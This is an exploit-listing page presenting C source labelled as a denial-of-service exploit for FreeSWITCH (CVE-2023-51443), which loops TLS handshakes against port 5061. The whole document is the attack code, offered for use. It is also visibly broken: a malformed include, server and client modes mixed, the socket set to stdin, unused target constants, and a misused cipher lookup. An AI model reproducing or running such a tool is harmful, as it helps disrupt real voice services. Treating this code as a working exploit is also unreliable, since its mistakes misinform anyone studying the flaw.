FreeSWITCH Denial Of Service Exploit CVE-2023-51443

## https://sploitus.com/exploit?id=1337DAY-ID-39226
#include <stdio.h
#include <string.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define IP "127.0.0.1"
#define PORT 5061

int main() {
    SSL_library_init();
    SSL_load_error_strings();
    OpenSSL_add_ssl_algorithms();

    const SSL_METHOD *method = TLS_server_method();
    SSL_CTX *ctx = SSL_CTX_new(method);

    if (!ctx) {
        fprintf(stderr, "Unable to create SSL context\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    SSL *ssl = SSL_new(ctx);
    if (!ssl) {
        fprintf(stderr, "Unable to create SSL\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    if (SSL_set_fd(ssl, fileno(stdin)) <= 0) {
        fprintf(stderr, "Unable to set SSL file descriptor\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    if (SSL_set_connect_state(ssl) <= 0) {
        fprintf(stderr, "Unable to set SSL connect state\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    const SSL_CIPHER *cipher = SSL_CIPHER_find("TLS_NULL_WITH_NULL_NULL");
    if (!cipher) {
        fprintf(stderr, "Unable to find cipher\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    SSL_set_cipher_list(ssl, "TLS_NULL_WITH_NULL_NULL");

    if (SSL_connect(ssl) <= 0) {
        fprintf(stderr, "Unable to connect\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    printf("Connected with cipher %s\n", SSL_CIPHER_get_name(SSL_get_current_cipher(ssl)));

    // Send malicious ClientHello messages continuously
    while (1) {
        if (SSL_connect(ssl) <= 0) {
            fprintf(stderr, "Unable to connect\n");
            ERR_print_errors_fp(stderr);
            return 1;
        }
        sleep(1);
    }

    SSL_shutdown(ssl);
    SSL_free(ssl);
    SSL_CTX_free(ctx);
    EVP_cleanup();

    return 0;
}